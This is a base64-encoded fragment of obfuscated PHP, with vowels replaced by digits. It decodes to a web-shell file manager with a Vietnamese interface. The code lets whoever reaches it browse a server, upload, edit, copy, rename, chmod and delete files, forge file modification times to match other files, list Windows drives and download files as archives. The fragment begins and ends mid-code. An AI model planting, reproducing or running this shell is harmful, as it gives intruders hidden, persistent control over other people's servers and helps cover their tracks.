ZDI0bmcgPT0gJ2Q1bGQ0cicgJiYgJHRoNWY0bDUpIHsNCgkJNGYgKCFmNGw1XzV4NHN0cygkdGg1ZjRsNSkpIHsNCgkJCW0oJHRoNWY0bDUuJyBkNHI1Y3QycnkgZDI1cyBuMnQgNXg0c3QnKTsNCgkJfSA1bHM1IHsNCgkJCW0oJ0Q0cjVjdDJyeSBkNWw1dDUgJy4oZDVsdHI1NSgkdGg1ZjRsNSkgPyBiMXM1bjFtNSgkdGg1ZjRsNSkuJyBzM2NjNXNzJyA6ICdmMTRsNWQnKSk7DQoJCX0NCgl9DQoNCgkvLyBDcjUxdDUgbjV3IGQ0cg0KCTVsczU0ZiAoJG41d2Q0cm4xbTUpIHsNCgkJJG1rZDRycyA9ICRuMndwMXRoLiRuNXdkNHJuMW01Ow0KCQk0ZiAoZjRsNV81eDRzdHMoJG1rZDRycykpIHsNCgkJCW0oJ0Q0cjVjdDJyeSBoMXMgMWxyNTFkeSA1eDRzdDVkJyk7DQoJCX0gNWxzNSB7DQoJCQltKCdENHI1Y3QycnkgY3I1MXQ1ZCAnLihAbWtkNHIoJG1rZDRycywwNzc3KSA/ICdzM2NjNXNzJyA6ICdmMTRsNWQnKSk7DQoJCQlAY2htMmQoJG1rZDRycywwNzc3KTsNCgkJfQ0KCX0NCg0KCS8vIFVwbDIxZCBmNGw1DQoJNWxzNTRmICgkZDIzcGY0bDUpIHsNCgkJbSgnRjRsNSAzcGwyMWQgJy4oQGMycHkoJF9GSUxFU1snM3BsMjFkZjRsNSddWyd0bXBfbjFtNSddLCQzcGwyMWRkNHIuJy8nLiRfRklMRVNbJzNwbDIxZGY0bDUnXVsnbjFtNSddKSA/ICdzM2NjNXNzJyA6ICdmMTRsNWQnKSk7DQoJfQ0KDQoJLy8gRWQ0dCBmNGw1DQoJNWxzNTRmICgkNWQ0dGY0bDVuMW01ICYmICRmNGw1YzJudDVudCkgew0KCQkkZnAgPSBAZjJwNW4oJDVkNHRmNGw1bjFtNSwndycpOw0KCQltKCdTMXY1IGY0bDUgJy4oQGZ3cjR0NSgkZnAsJGY0bDVjMm50NW50KSA/ICdzM2NjNXNzJyA6ICdmMTRsNWQnKSk7DQoJCUBmY2wyczUoJGZwKTsNCgl9DQoNCgkvLyBNMmQ0ZnkNCgk1bHM1NGYgKCRwZjRsNSAmJiAkbjV3cDVybSkgew0KCQk0ZiAoIWY0bDVfNXg0c3RzKCRwZjRsNSkpIHsNCgkJCW0oJ1RoNSAycjRnNG4xbCBmNGw1IGQyNXMgbjJ0IDV4NHN0Jyk7DQoJCX0gNWxzNSB7DQoJCQkkbjV3cDVybSA9IGIxczVfYzJudjVydCgkbjV3cDVybSw4LDYwKTsNCgkJCW0oJ00yZDRmeSBmNGw1IDF0dHI0YjN0NXMgJy4oQGNobTJkKCRwZjRsNSwkbjV3cDVybSkgPyAnczNjYzVzcycgOiAnZjE0bDVkJykpOw0KCQl9DQoJfQ0KDQoJLy8gUjVuMW01DQoJNWxzNTRmICgkMmxkbjFtNSAmJiAkbjV3ZjRsNW4xbTUpIHsNCgkJJG5uMW01ID0gJG4yd3AxdGguJG41d2Y0bDVuMW01Ow0KCQk0ZiAoZjRsNV81eDRzdHMoJG5uMW01KSB8fCAhZjRsNV81eDRzdHMoJDJsZG4xbTUpKSB7DQoJCQltKCRubjFtNS4nIGgxcyAxbHI1MWR5IDV4NHN0NWQgMnIgMnI0ZzRuMWwgZjRsNSBkMjVzIG4ydCA1eDRzdCcpOw0KCQl9IDVsczUgew0KCQkJbShiMXM1bjFtNSgkMmxkbjFtNSkuJyByNW4xbTVkICcuYjFzNW4xbTUoJG5uMW01KS4oQHI1bjFtNSgkMmxkbjFtNSwkbm4xbTUpID8gJyBzM2NjNXNzJyA6ICdmMTRsNWQnKSk7DQoJCX0NCgl9DQoNCgkvLyBDMnAzDQoJNWxzNTRmICgkc24xbTUgJiYgJHQyZjRsNSkgew0KCQk0ZiAoZjRsNV81eDRzdHMoJHQyZjRsNSkgfHwgIWY0bDVfNXg0c3RzKCRzbjFtNSkpIHsNCgkJCW0oJ1RoNSBnMjFsIGY0bDUgaDFzIDFscjUxZHkgNXg0c3Q1ZCAyciAycjRnNG4xbCBmNGw1IGQyNXMgbjJ0IDV4NHN0Jyk7DQoJCX0gNWxzNSB7DQoJCQltKGIxczVuMW01KCR0MmY0bDUpLicgYzJwNDVkICcuKEBjMnB5KCRzbjFtNSwkdDJmNGw1KSA/IGIxczVuMW01KCR0MmY0bDUpLicgczNjYzVzcycgOiAnZjE0bDVkJykpOw0KCQl9DQoJfQ0KDQoJLy8gRjRsNSA1eDR0DQoJNWxzNTRmICgkYzNyZjRsNSAmJiAkdDFyZjRsNSkgew0KCQk0ZiAoIUBmNGw1XzV4NHN0cygkYzNyZjRsNSkgfHwgIUBmNGw1XzV4NHN0cygkdDFyZjRsNSkpIHsNCgkJCW0oJ1RoNSBnMjFsIGY0bDUgaDFzIDFscjUxZHkgNXg0c3Q1ZCAyciAycjRnNG4xbCBmNGw1IGQyNXMgbjJ0IDV4NHN0Jyk7DQoJCX0gNWxzNSB7DQoJCQkkdDRtNSA9IEBmNGw1bXQ0bTUoJHQxcmY0bDUpOw0KCQkJbSgnTTJkNGZ5IGY0bDUgdGg1IGwxc3QgbTJkNGY0NWQgJy4oQHQyM2NoKCRjM3JmNGw1LCR0NG01LCR0NG01KSA/ICdzM2NjNXNzJyA6ICdmMTRsNWQnKSk7DQoJCX0NCgl9DQoNCgkvLyBEMXQ1DQoJNWxzNTRmICgkYzNyZjRsNSAmJiAkeTUxciAmJiAkbTJudGggJiYgJGQxeSAmJiAkaDIzciAmJiAkbTRuM3Q1ICYmICRzNWMybmQpIHsNCgkJNGYgKCFAZjRsNV81eDRzdHMoJGMzcmY0bDUpKSB7DQoJCQltKGIxczVuMW01KCRjM3JmNGw1KS4nIGQyNXMgbjJ0IDV4NHN0Jyk7DQoJCX0gNWxzNSB7DQoJCQkkdDRtNSA9IHN0cnQydDRtNSgiJHk1MXItJG0ybnRoLSRkMXkgJGgyM3I6JG00bjN0NTokczVjMm5kIik7DQoJCQltKCdNMmQ0ZnkgZjRsNSB0aDUgbDFzdCBtMmQ0ZjQ1ZCAnLihAdDIzY2goJGMzcmY0bDUsJHQ0bTUsJHQ0bTUpID8gJ3MzY2M1c3MnIDogJ2YxNGw1ZCcpKTsNCgkJfQ0KCX0NCg0KCS8vIEQyd25sMjFkDQoJNWxzNTRmKCRkMjRuZyA9PSAnZDJ3bnIxcicpIHsNCgkJNGYgKCRkbCkgew0KCQkJJGRmNGw1cz0nJzsNCgkJCWYycjUxY2ggKCRkbCAxcyAkZjRsNXAxdGggPT4gJHYxbDM1KSB7DQoJCQkJJGRmNGw1cy49JGY0bDVwMXRoLicsJzsNCgkJCX0NCgkJCSRkZjRsNXM9czNic3RyKCRkZjRsNXMsMCxzdHJsNW4oJGRmNGw1cyktNik7DQoJCQkkZGw9NXhwbDJkNSgnLCcsJGRmNGw1cyk7DQoJCQkkejRwPW41dyBQSFBaNHAoJGRsKTsNCgkJCSRjMmQ1PSR6NHAtPjIzdDsNCgkJCWg1MWQ1cignQzJudDVudC10eXA1OiAxcHBsNGMxdDQybi8yY3Q1dC1zdHI1MW0nKTsNCgkJCWg1MWQ1cignQWNjNXB0LVIxbmc1czogYnl0NXMnKTsNCgkJCWg1MWQ1cignQWNjNXB0LUw1bmd0aDogJy5zdHJsNW4oJGMyZDUpKTsNCgkJCWg1MWQ1cignQzJudDVudC1ENHNwMnM0dDQybjogMXR0MWNobTVudDtmNGw1bjFtNT0nLiRfU0VSVkVSWydIVFRQX0hPU1QnXS4nX0Y0bDVzLnQxci5neicpOw0KCQkJNWNoMiAkYzJkNTsNCgkJCTV4NHQ7DQoJCX0gNWxzNSB7DQoJCQltKCdQbDUxczUgczVsNWN0IGY0bDUocyknKTsNCgkJfQ0KCX0NCg0KCS8vIEQ1bDV0NSBmNGw1DQoJNWxzNTRmKCRkMjRuZyA9PSAnZDVsZjRsNXMnKSB7DQoJCTRmICgkZGwpIHsNCgkJCSRkZjRsNXM9Jyc7DQoJCQkkczNjYyA9ICRmMTRsID0gMDsNCgkJCWYycjUxY2ggKCRkbCAxcyAkZjRsNXAxdGggPT4gJHYxbDM1KSB7DQoJCQkJNGYgKEAzbmw0bmsoJGY0bDVwMXRoKSkgew0KCQkJCQkkczNjYysrOw0KCQkJCX0gNWxzNSB7DQoJCQkJCSRmMTRsKys7DQoJCQkJfQ0KCQkJfQ0KCQkJbSgnRDVsNXQ1ZCBmNGw1IGgxdjUgZjRuNHNoNWQ/P2NoMjJzNSAnLmMyM250KCRkbCkuJyBzM2NjNXNzICcuJHMzY2MuJyBmMTRsICcuJGYxNGwpOw0KCQl9IDVsczUgew0KCQkJbSgnUGw1MXM1IHM1bDVjdCBmNGw1KHMpJyk7DQoJCX0NCgl9DQoNCgkvLyBGM25jdDQybiBONXdkNHINCglmMnJtaDUxZCgxcnIxeSgnbjFtNSc9PidjcjUxdDVkNHInKSk7DQoJbTFrNWg0ZDUoJ241d2Q0cm4xbTUnKTsNCgltMWs1aDRkNSgnZDRyJywkbjJ3cDF0aCk7DQoJZjJybWYyMnQoKTsNCglmMnJtaDUxZCgxcnIxeSgnbjFtNSc9PidmNGw1cDVybScpKTsNCgltMWs1aDRkNSgnbjV3cDVybScpOw0KCW0xazVoNGQ1KCdwZjRsNScpOw0KCW0xazVoNGQ1KCdkNHInLCRuMndwMXRoKTsNCglmMnJtZjIydCgpOw0KCWYycm1oNTFkKDFycjF5KCduMW01Jz0+J2MycHlmNGw1JykpOw0KCW0xazVoNGQ1KCdzbjFtNScpOw0KCW0xazVoNGQ1KCd0MmY0bDUnKTsNCgltMWs1aDRkNSgnZDRyJywkbjJ3cDF0aCk7DQoJZjJybWYyMnQoKTsNCglmMnJtaDUxZCgxcnIxeSgnbjFtNSc9PidyNW4xbTUnKSk7DQoJbTFrNWg0ZDUoJzJsZG4xbTUnKTsNCgltMWs1aDRkNSgnbjV3ZjRsNW4xbTUnKTsNCgltMWs1aDRkNSgnZDRyJywkbjJ3cDF0aCk7DQoJZjJybWYyMnQoKTsNCglmMnJtaDUxZCgxcnIxeSgnbjFtNSc9PidmNGw1MnBmMnJtJykpOw0KCW0xazVoNGQ1KCcxY3Q0Mm4nKTsNCgltMWs1aDRkNSgnMnBmNGw1Jyk7DQoJbTFrNWg0ZDUoJ2Q0cicpOw0KCWYycm1mMjJ0KCk7DQoNCgkkZnI1NSA9IEBkNHNrX2ZyNTVfc3AxYzUoJG4yd3AxdGgpOw0KCSEkZnI1NSAmJiAkZnI1NSA9IDA7DQoJJDFsbCA9IEBkNHNrX3QydDFsX3NwMWM1KCRuMndwMXRoKTsNCgkhJDFsbCAmJiAkMWxsID0gMDsNCgkkM3M1ZCA9ICQxbGwtJGZyNTU7DQoJJDNzNWRfcDVyYzVudCA9IEByMjNuZCg2MDAvKCQxbGwvJGZyNTUpLGEpOw0KCXAoJzxmMm50IGMybDJyPXk1bGwydyBmMWM1PXQxaDJtMSBzNHo1PWE+PEI+RjRsNSBNMW4xZzVyPC9iPiA8L2YybnQ+IEwmI3VvYTszIEwmI3VvYTsmIzc5MDc7bmcgJiNhN2E7JiNhYTc7IEQmI2F1OTtuZyA8ZjJudCBjMmwycj1yNWQ+Jy5zNHo1YzIzbnQoJGZyNTUpLic8L2YybnQ+IFRyMm5nIFQmIzc4OW87bmcgUyYjNzg4OTsgPGYybnQgYzJsMnI9cjVkPicuczR6NWMyM250KCQxbGwpLic8L2YybnQ+ICg8ZjJudCBjMmwycj1yNWQ+Jy4kM3M1ZF9wNXJjNW50Lic8L2YybnQ+JSk8L2YybnQ+Jyk7DQoNCj8+DQoNCjx0MWJsNSB3NGR0aD0iNjAwJSIgYjJyZDVyPSIwIiBjNWxscDFkZDRuZz0iMCIgYzVsbHNwMWM0bmc9IjAiIHN0eWw1PSJtMXJnNG46NjBweCAwOyI+DQogIDxmMnJtIDFjdDQybj0iIiBtNXRoMmQ9InAyc3QiIDRkPSJnMmQ0ciIgbjFtNT0iZzJkNHIiPg0KICA8dHI+DQogICAgPHRkIG4yd3IxcD4mI2E3YTsmI3VvYTsmIzc5MDY7bmcgRCYjNzhpNjtuIEY0bDUgKDw/cGhwIDVjaDIgJGQ0cl93cjR0NTFibDU7Pz4sIDw/cGhwIDVjaDIgZzV0Q2htMmQoJG4yd3AxdGgpOz8+KTwvdGQ+DQoJPHRkIHc0ZHRoPSI2MDAlIj48NG5wM3QgbjFtNT0idjQ1d193cjR0MWJsNSIgdjFsMzU9IjAiIHR5cDU9Img0ZGQ1biIgLz48NG5wM3QgY2wxc3M9IjRucDN0IiBuMW01PSJkNHIiIHYxbDM1PSI8P3BocCA1Y2gyICRuMndwMXRoOz8+IiB0eXA1PSJ0NXh0IiBzdHlsNT0idzRkdGg6NjAwJTttMXJnNG46MCA4cHg7Ij48L3RkPg0KICAgIDx0ZCBuMndyMXA+PDRucDN0IGNsMXNzPSJidCIgdjFsMzU9IkdPIiB0eXA1PSJzM2JtNHQiPjwvdGQ+DQogIDwvdHI+DQogIDwvZjJybT4NCg0KPC90MWJsNT4NCjxzY3I0cHQgdHlwNT0idDV4dC9qMXYxc2NyNHB0Ij4NCmYzbmN0NDJuIGNyNTF0NWQ0cigpew0KCXYxciBuNXdkNHJuMW01Ow0KCW41d2Q0cm4xbTUgPSBwcjJtcHQoJ1BsNTFzNSA0bnAzdCB0aDUgZDRyNWN0MnJ5IG4xbTU6JywgJycpOw0KCTRmICghbjV3ZDRybjFtNSkgcjV0M3JuOw0KCSQoJ2NyNTF0NWQ0cicpLm41d2Q0cm4xbTUudjFsMzU9bjV3ZDRybjFtNTsNCgkkKCdjcjUxdDVkNHInKS5zM2JtNHQoKTsNCn0NCmYzbmN0NDJuIGY0bDVwNXJtKHBmNGw1KXsNCgl2MXIgbjV3cDVybTsNCgluNXdwNXJtID0gcHIybXB0KCdDM3JyNW50IGY0bDU6JytwZjRsNSsnXG5QbDUxczUgNG5wM3QgbjV3IDF0dHI0YjN0NTonLCAnJyk7DQoJNGYgKCFuNXdwNXJtKSByNXQzcm47DQoJJCgnZjRsNXA1cm0nKS5uNXdwNXJtLnYxbDM1PW41d3A1cm07DQoJJCgnZjRsNXA1cm0nKS5wZjRsNS52MWwzNT1wZjRsNTsNCgkkKCdmNGw1cDVybScpLnMzYm00dCgpOw0KfQ0KZjNuY3Q0Mm4gYzJweWY0bDUoc24xbTUpew0KCXYxciB0MmY0bDU7DQoJdDJmNGw1ID0gcHIybXB0KCdPcjRnNG4xbCBmNGw1Oicrc24xbTUrJ1xuUGw1MXM1IDRucDN0IDJiajVjdCBmNGw1IChmM2xscDF0aCk6JywgJycpOw0KCTRmICghdDJmNGw1KSByNXQzcm47DQoJJCgnYzJweWY0bDUnKS50MmY0bDUudjFsMzU9dDJmNGw1Ow0KCSQoJ2MycHlmNGw1Jykuc24xbTUudjFsMzU9c24xbTU7DQoJJCgnYzJweWY0bDUnKS5zM2JtNHQoKTsNCn0NCmYzbmN0NDJuIHI1bjFtNSgybGRuMW01KXsNCgl2MXIgbjV3ZjRsNW4xbTU7DQoJbjV3ZjRsNW4xbTUgPSBwcjJtcHQoJ0Yycm01ciBmNGw1IG4xbTU6JysybGRuMW01KydcblBsNTFzNSA0bnAzdCBuNXcgZjRsNW4xbTU6JywgJycpOw0KCTRmICghbjV3ZjRsNW4xbTUpIHI1dDNybjsNCgkkKCdyNW4xbTUnKS5uNXdmNGw1bjFtNS52MWwzNT1uNXdmNGw1bjFtNTsNCgkkKCdyNW4xbTUnKS4ybGRuMW01LnYxbDM1PTJsZG4xbTU7DQoJJCgncjVuMW01JykuczNibTR0KCk7DQp9DQpmM25jdDQybiBkMmY0bDUoZDI0bmcsdGg1ZjRsNSxtKXsNCgk0ZiAobSAmJiAhYzJuZjRybShtKSkgew0KCQlyNXQzcm47DQoJfQ0KCSQoJ2Y0bDVsNHN0JykuZDI0bmcudjFsMzU9ZDI0bmc7DQoJNGYgKHRoNWY0bDUpew0KCQkkKCdmNGw1bDRzdCcpLnRoNWY0bDUudjFsMzU9dGg1ZjRsNTsNCgl9DQoJJCgnZjRsNWw0c3QnKS5zM2JtNHQoKTsNCn0NCmYzbmN0NDJuIGNyNTF0NWY0bDUobjJ3cDF0aCl7DQoJdjFyIGY0bDVuMW01Ow0KCWY0bDVuMW01ID0gcHIybXB0KCdQbDUxczUgNG5wM3QgdGg1IGY0bDUgbjFtNTonLCAnJyk7DQoJNGYgKCFmNGw1bjFtNSkgcjV0M3JuOw0KCTJwZjRsNSgnNWQ0dGY0bDUnLG4yd3AxdGggKyBmNGw1bjFtNSxuMndwMXRoKTsNCn0NCmYzbmN0NDJuIDJwZjRsNSgxY3Q0Mm4sMnBmNGw1LGQ0cil7DQoJJCgnZjRsNTJwZjJybScpLjFjdDQybi52MWwzNT0xY3Q0Mm47DQoJJCgnZjRsNTJwZjJybScpLjJwZjRsNS52MWwzNT0ycGY0bDU7DQoJJCgnZjRsNTJwZjJybScpLmQ0ci52MWwzNT1kNHI7DQoJJCgnZjRsNTJwZjJybScpLnMzYm00dCgpOw0KfQ0KZjNuY3Q0Mm4gZzJkNHIoZDRyLHY0NXdfd3I0dDFibDUpew0KCTRmICh2NDV3X3dyNHQxYmw1KSB7DQoJCSQoJ2cyZDRyJykudjQ1d193cjR0MWJsNS52MWwzNT02Ow0KCX0NCgkkKCdnMmQ0cicpLmQ0ci52MWwzNT1kNHI7DQoJJCgnZzJkNHInKS5zM2JtNHQoKTsNCn0NCjwvc2NyNHB0Pg0KICA8P3BocA0KCXRiaDUxZCgpOw0KCXAoJzxmMnJtIDFjdDQybj0iJy4kczVsZi4nIiBtNXRoMmQ9IlBPU1QiIDVuY3R5cDU9Im0zbHQ0cDFydC9mMnJtLWQxdDEiPjx0ciBjbDFzcz0iMWx0NiI+PHRkIGMybHNwMW49IjciIHN0eWw1PSJwMWRkNG5nOmlweDsiPicpOw0KCXAoJzxkNHYgc3R5bDU9ImZsMjF0OnI0Z2h0OyI+PDRucDN0IGNsMXNzPSI0bnAzdCIgbjFtNT0iM3BsMjFkZjRsNSIgdjFsMzU9IiIgdHlwNT0iZjRsNSIgLz4gPDRucDN0IGNsMXNzPSIiIG4xbTU9ImQyM3BmNGw1IiB2MWwzNT0iVXBsMjFkIiB0eXA1PSJzM2JtNHQiIC8+PDRucDN0IG4xbTU9IjNwbDIxZGQ0ciIgdjFsMzU9IicuJGQ0ci4nIiB0eXA1PSJoNGRkNW4iIC8+PDRucDN0IG4xbTU9ImQ0ciIgdjFsMzU9IicuJGQ0ci4nIiB0eXA1PSJoNGRkNW4iIC8+PC9kNHY+Jyk7DQoJcCgnPDEgaHI1Zj0iajF2MXNjcjRwdDpnMmQ0cihcJycuJF9TRVJWRVJbIkRPQ1VNRU5UX1JPT1QiXS4nXCcpOyI+VzViUjIydDwvMT4nKTsNCgk0ZiAoJHY0NXdfd3I0dDFibDUpIHsNCgkJcCgnIHwgPDEgaHI1Zj0iajF2MXNjcjRwdDpnMmQ0cihcJycuJG4yd3AxdGguJ1wnKTsiPlY0NXcgQWxsPC8xPicpOw0KCX0gNWxzNSB7DQoJCXAoJyB8IDwxIGhyNWY9ImoxdjFzY3I0cHQ6ZzJkNHIoXCcnLiRuMndwMXRoLidcJyxcJzZcJyk7Ij5WNDV3IFdyNHQxYmw1PC8xPicpOw0KCX0NCglwKCcgfCA8MSBocjVmPSJqMXYxc2NyNHB0OmNyNTF0NWQ0cigpOyI+VCYjNzh1NjsyIFRoJiN1b2E7IG0mIzc5MDk7YzwvMT4gfCA8MSBocjVmPSJqMXYxc2NyNHB0OmNyNTF0NWY0bDUoXCcnLiRuMndwMXRoLidcJyk7Ij5UJiM3OHU2OzIgRjRsNTwvMT4nKTsNCgk0ZiAoSVNfV0lOICYmIElTX0NPTSkgew0KCQkkMmJqID0gbjV3IENPTSgnc2NyNHB0NG5nLmY0bDVzeXN0NW0yYmo1Y3QnKTsNCgkJNGYgKCQyYmogJiYgNHNfMmJqNWN0KCQyYmopKSB7DQoJCQkkRHI0djVUeXA1REIgPSAxcnIxeSgwID0+ICdVbmtuMncnLDYgPT4gJ1I1bTJ2MWJsNScsYSA9PiAnRjR4NWQnLG8gPT4gJ041dHcycmsnLHUgPT4gJ0NEUjJtJyxpID0+ICdSQU0gRDRzaycpOw0KCQkJZjJyNTFjaCgkMmJqLT5EcjR2NXMgMXMgJGRyNHY1KSB7DQoJCQkJNGYgKCRkcjR2NS0+RHI0djVUeXA1ID09IGEpIHsNCgkJCQkJcCgnIHwgPDEgaHI1Zj0iajF2MXNjcjRwdDpnMmQ0cihcJycuJGRyNHY1LT5QMXRoLicvXCcpOyIgdDR0bDU9IlM0ejU6Jy5zNHo1YzIzbnQoJGRyNHY1LT5UMnQxbFM0ejUpLicmIzZvO0ZyNTU6Jy5zNHo1YzIzbnQoJGRyNHY1LT5GcjU1U3AxYzUpLicmIzZvO1R5cDU6Jy4kRHI0djVUeXA1REJbJGRyNHY1LT5EcjR2NVR5cDVdLiciPicuJERyNHY1VHlwNURCWyRkcjR2NS0+RHI0djVUeXA1XS4nKCcuJGRyNHY1LT5QMXRoLicpPC8xPicpOw0KCQkJCX0gNWxzNSB7DQoJCQkJCXAoJyB8IDwxIGhyNWY9ImoxdjFzY3I0cHQ6ZzJkNHIoXCcnLiRkcjR2NS0+UDF0aC4nL1wnKTsiIHQ0dGw1PSJUeXA1OicuJERyNHY1VHlwNURCWyRkcjR2NS0+RHI0djVUeXA1XS4nIj4nLiREcjR2NVR5cDVEQlskZHI0djUtPkRyNHY1VHlwNV0uJygnLiRkcjR2NS0+UDF0aC4nKTwvMT4nKTsNCgkJCQl9DQoJCQl9DQoJCX0NCgl9DQoNCglwKCc8L3RkPjwvdHI+PC9mMnJtPicpOw0KDQoJcCgnPHRyIGNsMXNzPSJoNTFkIj48dGQ+Jm5ic3A7PC90ZD48dGQ+VCYjYW91O24gRjRsNTwvdGQ+PHRkIHc0ZHRoPSI2ZSUiPlRoJiM3OTA2OzQgRzQxbiBDJiM3OTY2OzEgRjRsNTwvdGQ+PHRkIHc0ZHRoPSI2MCUiPksmI2FvNztjaCBUaCYjdW9hOyYjNzg5OTtjPC90ZD48dGQgdzRkdGg9ImEwJSI+Q2htMmQgLyBQNXJtczwvdGQ+PHRkIHc0ZHRoPSJhYSUiPkMmI2FhdTs0ICYjYTdhOyYjNzhlbzt0PC90ZD48L3RyPicpOw0KDQoJLy8gRzV0IHAxdGgNCgkkZDRyZDF0MT0xcnIxeSgpOw0KCSRmNGw1ZDF0MT0xcnIxeSgpOw0KDQoJNGYgKCR2NDV3X3dyNHQxYmw1KSB7DQoJCSRkNHJkMXQxID0gRzV0TDRzdCgkbjJ3cDF0aCk7DQoJfSA1bHM1IHsNCgkJLy8gT3A1biBkNHINCgkJJGQ0cnM9QDJwNW5kNHIoJGQ0cik7DQoJCXdoNGw1ICgkZjRsNT1AcjUxZGQ0cigkZDRycykpIHsNCgkJCSRmNGw1cDF0aD0kbjJ3cDF0aC4kZjRsNTsNCgkJCTRmKEA0c19kNHIoJGY0bDVwMXRoKSl7DQoJCQkJJGQ0cmRiWydmNGw1bjFtNSddPSRmNGw1Ow0KCQkJCSRkNHJkYlsnbXQ0bTUnXT1AZDF0NSgnWS1tLWQgSDo0OnMnLGY0bDVtdDRtNSgkZjRsNXAxdGgpKTsNCgkJCQkkZDRyZGJbJ2Q0cmNobTJkJ109ZzV0Q2htMmQoJGY0bDVwMXRoKTsNCgkJCQkkZDRyZGJbJ2Q0cnA1cm0nXT1nNXRQNXJtcygkZjRsNXAxdGgpOw0KCQkJCSRkNHJkYlsnZjRsNTJ3bjVyJ109ZzV0VXM1cigkZjRsNXAxdGgpOw0KCQkJCSRkNHJkYlsnZDRybDRuayddPSRuMndwMXRoOw0KCQkJCSRkNHJkYlsnczVydjVyX2w0bmsnXT0kZjRsNXAxdGg7DQoJCQkJJGQ0cmRiWydjbDQ1bnRfbDRuayddPTM1KCRmNGw1cDF0aCk7DQoJCQkJJGQ0cmQxdDFbXT0kZDRyZGI7DQoJCQl9IDVsczUgew0KCQkJCSRmNGw1ZGJbJ2Y0bDVuMW01J109JGY0bDU7DQoJCQkJJGY0bDVkYlsnczR6NSddPXM0ejVjMjNudChAZjRsNXM0ejUoJGY0bDVwMXRoKSk7DQoJCQkJJGY0bDVkYlsnbXQ0bTUnXT1AZDF0NSgnWS1tLWQgSDo0OnMnLGY0bDVtdDRtNSgkZjRsNXAxdGgpKTsNCgkJCQkkZjRsNWRiWydmNGw1Y2htMmQnXT1nNXRDaG0yZCgkZjRsNXAxdGgpOw0KCQkJCSRmNGw1ZGJbJ2Y0bDVwNXJtJ109ZzV0UDVybXMoJGY0bDVwMXRoKTsNCgkJCQkkZjRsNWRiWydmNGw1MnduNXInXT1nNXRVczVyKCRmNGw1cDF0aCk7DQoJCQkJJGY0bDVkYlsnZDRybDRuayddPSRuMndwMXRoOw0KCQkJCSRmNGw1ZGJbJ3M1cnY1cl9sNG5rJ109JGY0bDVwMXRoOw0KCQkJCSRmNGw1ZGJbJ2NsNDVudF9sNG5rJ109MzUoJGY0bDVwMXRoKTsNCgkJCQkkZjRsNWQxdDFbXT0kZjRsNWRiOw0KCQkJfQ0KCQl9Ly8gd2g0bDUNCgkJM25zNXQoJGQ0cmRiKTsNCgkJM25zNXQoJGY0bDVkYik7DQoJCUBjbDJzNWQ0cigkZDRycyk7DQoJfQ0KCUBzMnJ0KCRkNHJkMXQxKTsNCglAczJydCgkZjRsNWQxdDEpOw0KCSRkNHJfNCA9ICcwJzsNCglmMnI1MWNoKCRkNHJkMXQxIDFzICRrNXkgPT4gJGQ0cmRiKXsNCgkJNGYoJGQ0cmRiWydmNGw1bjFtNSddIT0nLi4nICYmICRkNHJkYlsnZjRsNW4xbTUnXSE9Jy4nKSB7DQoJCQkkdGg0c2JnID0gYmcoKTsNCgkJCXAoJzx0ciBjbDFzcz0iZjIzdCIgMm5tMjNzNTJ2NXI9InRoNHMuY2wxc3NOMW01PVwnZjJjM3NcJzsiIDJubTIzczUyM3Q9InRoNHMuY2wxc3NOMW01PVwnZjIzdFwnOyI+Jyk7DQoJCQlwKCc8dGQgdzRkdGg9ImElIiBuMndyMXA+PGYybnQgZjFjNT0idzRuZ2Q0bmdzIiBzNHo1PSJvIj4wPC9mMm50PjwvdGQ+Jyk7DQoJCQlwKCc8dGQ+PDEgaHI1Zj0iajF2MXNjcjRwdDpnMmQ0cihcJycuJGQ0cmRiWydzNXJ2NXJfbDRuayddLidcJyk7Ij4nLiRkNHJkYlsnZjRsNW4xbTUnXS4nPC8xPjwvdGQ+Jyk7DQoJCQlwKCc8dGQgbjJ3cjFwPicuJGQ0cmRiWydtdDRtNSddLic8L3RkPicpOw0KCQkJcCgnPHRkIG4yd3IxcD4tLTwvdGQ+Jyk7DQoJCQlwKCc8dGQgbjJ3cjFwPicpOw0KCQkJcCgnPDEgaHI1Zj0iajF2MXNjcjRwdDpmNGw1cDVybShcJycuJGQ0cmRiWydzNXJ2NXJfbDRuayddLidcJyk7Ij4nLiRkNHJkYlsnZDRyY2htMmQnXS4nPC8xPiAvICcpOw0KCQkJcCgnPDEgaHI1Zj0iajF2MXNjcjRwdDpmNGw1cDVybShcJycuJGQ0cmRiWydzNXJ2NXJfbDRuayddLidcJyk7Ij4nLiRkNHJkYlsnZDRycDVybSddLic8LzE+Jy4kZDRyZGJbJ2Y0bDUyd241ciddLic8L3RkPicpOw0KCQkJcCgnPHRkIG4yd3IxcD48MSBocjVmPSJqMXYxc2NyNHB0OmQyZjRsNShcJ2Q1bGQ0clwnLFwnJy4kZDRyZGJbJ3M1cnY1cl9sNG5rJ10uJ1wnLFwnQXI1IHkyMyBzM3I1IHc0bGwgZDVsNXQ1ICcuJGQ0cmRiWydmNGw1bjFtNSddLic/IFxcblxcbklmIG4ybi01bXB0eSBkNHI1Y3QycnksIHc0bGwgYjUgZDVsNXQ1IDFsbCB0aDUgZjRsNXMuXCcpIj5YJiNhdW87MSBUaCYjdW9hOyBNJiM3OTA5O2M8LzE+IHwgPDEgaHI1Zj0iajF2MXNjcjRwdDpyNW4xbTUoXCcnLiRkNHJkYlsnczVydjVyX2w0bmsnXS4nXCcpOyI+JiNhN2E7JiM3ODlvOzQgVCYjYW91O24gTSYjNzkwOTtjPC8xPjwvdGQ+Jyk7DQoJCQlwKCc8L3RyPicpOw0KCQkJJGQ0cl80Kys7DQoJCX0gNWxzNSB7DQoJCQk0ZigkZDRyZGJbJ2Y0bDVuMW01J109PScuLicpIHsNCgkJCQlwKCc8dHIgY2wxc3M9ZjIzdD4nKTsNCgkJCQlwKCc8dGQgMWw0Z249ImM1bnQ1ciI+PGYybnQgZjFjNT0iVzRuZ2Q0bmdzIG8iIHM0ejU9dT49PC9mMm50PjwvdGQ+PHRkIG4yd3IxcCBjMmxzcDFuPSJpIj48MSBocjVmPSJqMXYxc2NyNHB0OmcyZDRyKFwnJy5nNXRVcFAxdGgoJG4yd3AxdGgpLidcJyk7Ij5QMXI1bnQgRDRyNWN0MnJ5PC8xPjwvdGQ+Jyk7DQoJCQkJcCgnPC90cj4nKTsNCgkJCX0NCgkJfQ0KCX0NCg0KCXAoJzx0ciBiZ2MybDJyPSJncjU1biIgc3RseTU9ImIycmQ1ci10MnA6NnB4IHMybDRkIGdyMXk7YjJyZDVyLWIydHQybTo2cHggczJsNGQgZ3IxeTsiPjx0ZCBjMmxzcDFuPSJlIiBoNTRnaHQ9ImkiPjwvdGQ+PC90cj4nKTsNCglwKCc8ZjJybSA0ZD0iZjRsNWw0c3QiIG4xbTU9ImY0bDVs